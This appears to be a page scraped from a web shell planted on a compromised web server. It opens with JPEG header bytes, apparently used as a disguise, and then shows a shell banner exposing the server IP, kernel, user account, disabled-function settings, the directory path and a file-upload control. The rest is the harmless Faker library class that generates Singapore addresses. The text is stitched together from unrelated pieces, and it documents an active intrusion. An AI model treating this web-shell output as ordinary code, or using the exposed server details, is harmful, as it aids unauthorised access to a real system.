ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/fzaninotto/faker/src/Faker/Provider/en_SG/ |
Upload File : |
<?php
namespace Faker\Provider\en_SG;
class Address extends \Faker\Provider\Address
{
// http://en.wikipedia.org/wiki/Singapore_Post#Address_format
protected static $streetNumber = array('##', '###');
// http://en.wikipedia.org/wiki/Singapore_Post#Address_format
protected static $blockNumber = array(
'Blk ##',
'Blk ###',
'Blk ###A',
'Blk ###B',
'Blk ###C',
'Blk ###D',
'Blk ###E',
'Blk ###F',
'Blk ###G',
'Blk ###H',
);
// http://www.streetdirectory.com/asia_travel/travel/street/alphabet2/
protected static $streetSuffix = array(
'Alley', 'Avenue',
'Bridge',
'Crescent',
'Drive',
'Grove',
'Highway', 'Hill',
'Lane', 'Link',
'Park', 'Place',
'Quay',
'Road',
'Walk', 'Way',
);
// http://www.streetdirectory.com/asia_travel/travel/street/alphabet2/
protected static $streetPrefix = array(
'Jalan',
);
// http://www.streetdirectory.com/asia_travel/travel/street/alphabet2/
// http://remembersingapore.org/2011/04/04/old-names-of-places/
protected static $streetName = array(
'Adam', 'Airport', 'Alexandra', 'Aljunied', 'Ampang', 'Ann Siang', 'Angus', 'Anson', 'Armenian',
'Balmoral', 'Battery', 'Bencoolen',
'Collyer', 'Clarke', 'Church', 'Cecil', 'Cross', 'Chulia', 'Cheang Hong Lim', 'Chin Swee', 'Choon Guan',
'Devonshire', 'Dublin', 'Duxton', 'D\'Almeida',
'East Coast', 'Eden', 'Edgware', 'Eunos',
'Fifth', 'First', 'Funan', 'Fullerton',
'George', 'Glasgow', 'Grange',
'Havelock', 'High', 'Hylam',
'International Business', 'International', 'Irving',
'Jubilee',
'Kensington Park', 'Kitchener', 'Knights',
'Lancaster', 'Leicester', 'Lengkok Bahru', 'Lim Teck Kim',
'Malay', 'Market', 'Middle', 'Malabar', 'Merchant', 'Mohammed Sultan',
'Napier', 'Nathan', 'Newton',
'Ocean', 'One Tree', 'Orchard', 'Outram', 'Ophir',
'Pekin', 'Peng Siang', 'Prince Edward', 'Palmer',
'Quality', 'Queen',
'Raffles', 'Robinson', 'Rochor', 'Regent', 'Ridley', 'River Valley',
'Sixth', 'Somerset', 'Stanley', 'Stamford', 'Shenton', 'Sultan',
'Telok Ayer', 'Temple', 'Thomson', 'Unity', 'Victoria', 'Xilin', 'York', 'Zion',
);
protected static $streetAddressFormats = array(
'{{streetPrefix}} {{streetName}}',
'{{streetName}} {{streetSuffix}}',
);
protected static $floorNumber = array(
'##', '0#',
);
protected static $apartmentNumber = array(
'##', '###',
);
// http://en.wikipedia.org/wiki/Singapore_Post#Address_format
protected static $addressFormats = array(
"{{streetNumber}} {{streetAddress}}\n{{townName}} {{postcode}}",
"{{blockNumber}} {{streetAddress}}\n{{floorNumber}} {{apartmentNumber}}\n{{townName}} {{postcode}}",
);
protected static $townName = 'SINGAPORE';
protected static $postcode = array('######');
protected static $country = array(
'SINGAPORE',
);
public function streetPrefix()
{
return static::randomElement(static::$streetPrefix);
}
public function streetNumber()
{
return static::numerify(static::randomElement(static::$streetNumber));
}
public function blockNumber()
{
return static::numerify(static::randomElement(static::$blockNumber));
}
public function floorNumber()
{
return static::randomElement(static::$floorNumber);
}
public function apartmentNumber()
{
return static::randomElement(static::$apartmentNumber);
}
public function townName()
{
return static::$townName;
}
}